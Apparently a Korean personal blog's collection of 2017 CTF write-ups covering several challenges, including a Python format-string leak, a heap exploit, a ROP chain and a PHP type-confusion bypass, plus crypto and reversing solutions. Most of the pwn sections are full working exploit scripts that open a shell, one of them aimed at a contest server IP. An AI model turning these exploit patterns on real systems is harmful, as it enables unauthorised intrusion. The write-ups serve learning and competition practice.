rename할때 {0.pykemon}을 넣는다

python의 format함수를 이용해서 return을 해줄때 입력에 formatstring을 주입할 수 있다.

{0.__class__}를 하면 format의 class정보를 릭할 수 있는데


{0.pykemon}을 넣으면 아래와 같이 format에 Pykemon클래스가 들어있었기 때문에  있는 Pykemon.pykemon의 정보가 쭈루룩 나온다.


소스코드를보면

(p 는 Pykemon class변수)

    if not p:

        return "Error: trying to name a pykemon you haven't caught!"

    

    r = session.get('room')   

    s = session.get('caught')

    for pykemon in s['pykemon']:

        if pykemon['pid'] == name:

            pykemon['nickname'] = new_name

            session['caught'] = s

            print session['caught']

            return "Successfully renamed to:\n" + new_name.format(p)


Class Pykemon(object):

    pykemon = [

            [100, 'Pydiot', 'Pydiot','images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'], 

            [90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'],

            [80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'],

            [70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png','Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'],

            [60, 'Pyduck', 'Pyduck', 'images/pyduck.png','Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'],

            [50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png','When this Pykamon sings, it never pauses to breathe.'],

            [40, 'Pykachu', 'Pykachu', 'images/pykachu.png','This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'],

            [30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png','Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'],

            [20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png','Pyrodactyl is a Pykamon from the age of dinosaurs'],

            [10, 'Pytwo', 'Pytwo', 'images/pytwo.png','Pytwo is a Pykamon created by genetic manipulation'],

            [0, 'FLAG', 'FLAG','images/flag.png', 'PCTF{XXXXX}']

            ]

    def __init__(self, name=None, hp=None):

        pykemon = Pykemon.pykemon

        if not name:              

            i = randint(0,10)

        else:

            count = 0

            for p in pykemon:

                if name in p:

                    i = count

                count += 1

        

        self.name = pykemon[i][1]

        self.nickname = pykemon[i][2]

        self.sprite = pykemon[i][3]

        self.description = pykemon[i][4]

        self.hp = hp

        if not hp:

            self.hp = randint(1,100)

        self.rarity = pykemon[i][0]

        self.pid = self.name + str(self.hp)


http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/






'CTF' 카테고리의 다른 글

[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13
asis secured portal  (0) 2017.04.13

onegadget이 안먹히긴 하는데

실제 대회때는 먹혔겟지? 싶어서 stdout만 덮어보고 그냥 넘어감(다른데 덮을 만한곳 안해보긴했다 넘어가자)

c++살짝 익숙해졋다..!!


풀이 메모


빌딩 최대 세개


building

- name

[0][2]-apartment

[3][5]-company

[6][8]- restaurant


apartment(0x50)

-name a 

-floor a+32

-num of house per floor a+72

-description a+40 


company(0x58)

-name -0

-floor a+32

-people a+72

-money month a+80

-describe a+40(char)


restaurant(0x70)

-name -0

-menu - a+88

-visit people - a+72

-money month a+80

-price food -a+96

-customer pay - a+104

-describe - a+40


change할때 delete안함 그대로 주소만 옮김


apart (change)-> restaurant -> edit restaurant


그냥 빌딩 change하면서 overflow overwrite 가능

from pwn import *
#1.apart 2.company 3.restaurant
r=process('./owner')
def makeapart(name,floor,house,des):
	r.sendlineafter('>','1')
	r.sendlineafter('name?',name)
	r.sendlineafter('apartment?',str(floor))
	r.sendlineafter('floor?',str(house))
	r.sendlineafter('Describe',des)
def change(_from_type,_from,_to):
	r.sendlineafter('>','4')
	r.sendlineafter('>','2')
	r.sendlineafter('>',str(_from_type))
	r.sendlineafter('>',str(_from))
	r.sendlineafter('>',str(_to))
	r.sendlineafter('>','6')	#go to home menu
	r.sendlineafter('>','6')
def show(_type,num):
	r.sendlineafter('>','4')
	r.sendlineafter('>','1')
	r.sendlineafter('>',str(_type))
	r.sendlineafter('>',str(num))
	# be back 3 times
def edit(_type,num,obj,cont):
	r.sendlineafter('>','4')
	r.sendlineafter('>','1')
	r.sendlineafter('>',str(_type))
	r.sendlineafter('>',str(num))
	r.sendlineafter('>',str(obj))
	r.sendlineafter(':',cont)
	back()
def back():
	for i in range(3):
		r.sendlineafter('>','9')
makeapart('say2say2',1234,1234,'ABCDABCD')
makeapart('BBBBBBBB',1234,1234,'11111111')
change(1,1,2)
show(3,1)
r.recvuntil('Normal price of menu : ')
heapbase=int(r.recvuntil('\n')[:-1])-0x12cf0
log.info("heapleak : "+hex(heapbase))
back()
edit(3,1,1,'A'*0x100)
edit(3,1,6,str(heapbase+0x12d40))
show(1,1)
r.recvuntil('Name : ')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0xb78
log.info("libcbase : "+hex(libcbase))
stdoutjmp=libcbase+0x16f8
system=libcbase+0x45390
oneshot=libcbase+0xcc618#0xcc543#0x4526a#0xf0567#0xef6c4
back()
#r.interactive()
log.info("stdoutjmp :"+hex(stdoutjmp))
edit(3,1,6,str(stdoutjmp))
edit(1,1,1,p64(oneshot))
r.interactive()


'CTF' 카테고리의 다른 글

[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24
[ASISctf] DLP  (2) 2017.04.13
asis secured portal  (0) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12

pcap파일을 wireshark로 열어봤을 떄  ssl.handshake.certificates로 필터링 하면 

handshake과정에 server 의 hello, certificate,server hello done 패킷을 볼수가 있는데

여기서 certificate를 추출한다. 

tcp스트림을 보고 헤더를 읽은 후 바이너리에서 스크립트로 서치해서 뽑아내거나 wireshark로 긁어내면 된다.

또는 툴이 있다. binwalk -e a.pcap

*.crt파일을 추출하면 된다. 


참고로 SSL의 handshake과정은 아래와 같다.


찾아낸.certificate에서 modulus를 찾는다. (공개키 N 에 해당한다)

openssl x509 -inform der -in $f -noout -text -modulus

x509는 


그렇게 여러개의 인증서들에서 modulus를 찾아서 모은다. x509는 공개키 인증서의 표준이고 der는 x509의 압축방식인가? 그랫다. 아무튼 인증서들에서 modulus를 찾아서 이 modulus들의 공약수를 구한다. modulus들이 서로소가 아닌걸 찾는다면 -> 공약수를 찾는다면 -> 인수분해가 된것이다. 이제 비밀키를 구할 수 있다.

certificate를 여러번 할당할때 handshake를 여러번 할때 비밀키가 겹칠 수도 있다는 점을 이용한 공격이다.  


(제대로 이해한게 맞는지 모르겠다 ㅠ)

ssl handshake블로그글 http://darksoulstory.tistory.com/57



암독 과제해보고 암호문제 푸니까 재밋는것 같기도..



알고리즘은 이렇다.


def encrypt(nbit, msg):

    msg = bytes_to_long(msg)

    p = getPrime(nbit)

    q = getPrime(nbit)

    n = p*q

    s = getPrime(4)

    enc = pow(n+1, msg, n**(s+1))

    return n, enc



주어지는건 enc와 n 이고 msg를 알아내야한다.

식은 이렇다


enc=(n+1)^msg(modn^(s+1))

여기서 재밌는건 s+1>2이면 다음이 성립한다는 것!


enc=(n+1)^msg=msg*n+1(mod n^2)=mn+1(mod n^2)

이고

(enc-1)/n(mod n^2)=m이라는 식이 완성되었다.


이제 계산한다.

>>> gmpy2.div((enc-1)%(n**2),n)

mpz(3111713836765922319510495043104426235462341566734455114627991655609961822874033923703388182594027279760482968199249300393055526546602287243645)

>>> hex(3111713836765922319510495043104426235462341566734455114627991655609961822874033923703388182594027279760482968199249300393055526546602287243645)[2:-1].decode('hex')
'ASIS{Congratz_You_are_Discrete_Logarithm_Problem_Solver!!!}'
>>> 



'CTF' 카테고리의 다른 글

[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19
asis secured portal  (0) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[asisctf]start hard  (0) 2017.04.12

큰수의 나눗셈 곱셈 계산이 가능한 툴(C로 짜여진 python module)

https://gmpy2.readthedocs.io/en/latest/overview.html#miscellaneous-gmpy2-functions


암호문제 풀때 써봐야겠다

asis - secured portal (0) -> object injection. 문제 아무것도 없어보이지만 function.js에 가보면 /authentication/login이라는 링크와 /panel/index라는 링크를 찾을 수 잇고 여기서 login string이라는 목표 공격대상을 찾을 수 있다. 그리고 문제에서 IDE와 function.js에서 phpstorm 을 사용했다는 힌트가 주어졌는데 많은 웹 프로그래머들이 IDE(integrated development environment)를 사용할떄 숨김 폴더를 만든다고 한다. phpstorm에서는 다음과 같은 IDE환경에 숨김 파일 흔적을 남기는데 , .idea/workspace.xml 이곳이다. 들어가보면 /backup/panel.class.php.bk를 찾을 수 있고 이 파일을 보면 login 정보를 get으로 object로 넘기는데 type confusion을 이용하여 우회 할 수 있다. 


내용은 아래와 같은데 auth의 하위 32바이트를 세션 스트링으로 쓰는데 이를 '00000000...'으로 채워주고 

이 세션 스트링을 md5($payload.$this->__sessionKey);  의 상위 6바이트와 '=='으로 비교하므로 이 md5값을 0e(숫자4개)로 맞춰주면 typeconfusion으로 참이 된다. session키의 값은 auth의 하위32바이트를 제외한 값을 base64_decode한 값으로 이에 맞게끔만 object를 짜주면 된다. md5더미는 serialized 배열에 배열 변수를 하나 더 만들어서 브루트포싱해준다.

아래는 다른사람 코드


import sys
import base64
import string
import requests

URL = 'http://46.101.96.182/panel/index'
SIG = '00000000000000000000000000000000'
template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}'

for c in string.letters + string.digits:
    for i in range(0, 500):
        OBJ = template % (i, c * i)
        r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG})
        if not 'login required' in r.text:
            print('found collision')
            print(OBJ)
            print(base64.b64encode(OBJ))
            sys.exit(0)


class panel extends main {

    /**
     * holds authentication status of the user
     * @var boolean
     */
    private $__auth;

    /**
     * holding database object
     * @var object
     */
    private $__db;

    /**
     * checking authentication string
     *
     * @param string object
     */
    function __construct($db){
        $this->__db = $db;
        $sessionString = null;

        /**
         * gathering authentication string by auth parameter in HTTP request
         */
        if(array_key_exists('auth', $_GET))
            $sessionString = $_GET['auth'];

        if(strlen($sessionString) > 32){
            $signature = substr($sessionString, -32);
            $payload = base64_decode(substr($sessionString, 0, -32));

            /**
             * real signature calculation based on the key
             */
            $realSign = md5($payload.$this->__sessionKey);

            /**
             * making it impossible to login, if the site is under maintenance,
             */
            if(__MAINTENANCE__===true)
                $realSign = substr($realSign, 0, 6);

            /**
             * checking signature, prevent to data forgery by user
             */
            if($realSign == $signature){
                $this->data = unserialize($payload);

                if(is_array($this->data)){
                    /**
                     * checking login status
                     */
                    if($this->data['logged']===true){
                        $this->__auth = true;
                    }
                }
            }
        }
    }

    /**
     * index
     */
    function index(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        template('panel');
    }

    /**
     * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
     */
    function flag(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        /*
         * WOW, SEEMS THE FLAG IS HERE :)
         */
        require 'includes/flag.php';
    }

'CTF' 카테고리의 다른 글

[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[asisctf]start hard  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25

c++ 로 짜여진 단순 테이블 치환 리버싱 문제이다.

하나씩 테이블을 채우면


대충 이렇게 채워진다. 사실 정적분석보단 동적분석이 단순 테이블 치환에는 짱인것 같다. 딱히 복잡한 루틴없이(CBC같은 블럭 chaining) 그냥 stream 암호이므로

gdb로 문자열 비교하는 부분에서 bp 걸고 분석하면 쉽게 분석된다. 출제할때 실수한건가 되게 쉽게 풀었는데 정답률은 낮았다.



A 82

B 81

C 83 

D 88

E 8a

F 89

G 8b

H 84

I 86

J 85

K 87

L 8c

M 8e

N 8d O 8f Pa0 Ra1 S a3 T a8 U aa 

v ab 

W a9 X a4 Y a6 Z a5

929193989a999b949695979c9e9d9fb0b2b1b3b8bab9bbb4b6b6

1 32 2 31 3 33 4 38 5 3a 6 39 7 3b 8 34 9 36 0 31

- b0

_ 1f

  10

: 36

82a386a3b7983198313b363293399232349892369a98323692989a313493913036929a303abf

ASIS{d2d2791c6a18da9ed19ade28cb09ae05}



'CTF' 카테고리의 다른 글

[ASISctf] DLP  (2) 2017.04.13
asis secured portal  (0) 2017.04.13
[asisctf]start hard  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25
[codegate 2017 prequal]hunting  (0) 2017.02.13



쓸 수 있는 함수는 read뿐이고

partitial RELRO와 NX가 걸려있다.

떠올린 것은 read_got나 libc_start_main의 got의 1바이트를 덮어서

이 함수들을 syscall의 주소를 가리키게 한다.

무슨 말이냐면 예를들어서 libc_start_main=0x7f123456이라고 하면 이함수도 내부에 syscall 부분이 존재한다

그부분이 0x7f1234aa라고 하자

그러면 libc_start_main을 1바이트 덮어서 0x7f1234aa로 만들어서 이함수를 호출하면 syscall이 바로 호출되는 것이다.

그렇게 got를 덮어쓰고 rdi를 /bin/sh주소로 맞춰주고 rax를 execve 번호로 맞춰주고 호출한다. 


from pwn import *
import time
#r=process('start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249')
r=remote('128.199.152.175',10001)
#raw_input()
readplt=0x400400
ppppppr=0x4005ba	#pop rbx rbp r12131415 ret
poprsi=0x4005c1
poprdi=0x4005c3
pay='AAAA'*4
pay+='BBBBBBBB'
readgot=0x601018
lsmgot=0x601020
bss=0x601038
lsmplt=0x400410

pay+=p64(ppppppr)
pay+=p64(8)
pay+=p64(0)*5
pay+=p64(poprsi)
pay+=p64(bss)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(readplt)

pay+=p64(ppppppr)
pay+=p64(2)
pay+=p64(0)*5
pay+=p64(poprsi)
pay+=p64(lsmgot)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(readplt)

pay+=p64(ppppppr)
pay+=p64(59)
pay+=p64(0)*5
pay+=p64(poprsi)
pay+=p64(bss+0x10)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(readplt)


pay+=p64(ppppppr)	##pop rbx rbp r12131415 ret
pay+=p64(0)
pay+=p64(0)
pay+=p64(lsmgot)
pay+=p64(0)
pay+=p64(0)
pay+=p64(bss)
pay+=p64(poprdi)
pay+=p64(bss)		#/bin/sh
pay+=p64(poprsi)
pay+=p64(0)	#&/bin/sh
pay+=p64(bss)
pay+=p64(0x4005A0)	#syscall


r.sendline(pay)
time.sleep(0.5)
r.sendline('/bin/sh\x00')
#r.interactive()
#raw_input()
time.sleep(0.5)
r.send('\xa4\x78')	#libcstartmain->syscall
#raw_input()
time.sleep(0.5)
r.send(p64(bss)+p64(0)+'A'*(59-16))
time.sleep(0.2)
r.sendline('id')
if r.recv():
	r.interactive()
#r.interactive()
#except EOFError:
#	log.info('----EOF')
#	r.close()
#r.interactive()
#r.sendline('AAAA')
'''
r.sendline('id')
if r.recv(1):
	r.interactive()
'''


'CTF' 카테고리의 다른 글

asis secured portal  (0) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25
[codegate 2017 prequal]hunting  (0) 2017.02.13
[codegate17 prequal]hello protector  (0) 2017.02.12

+ Recent posts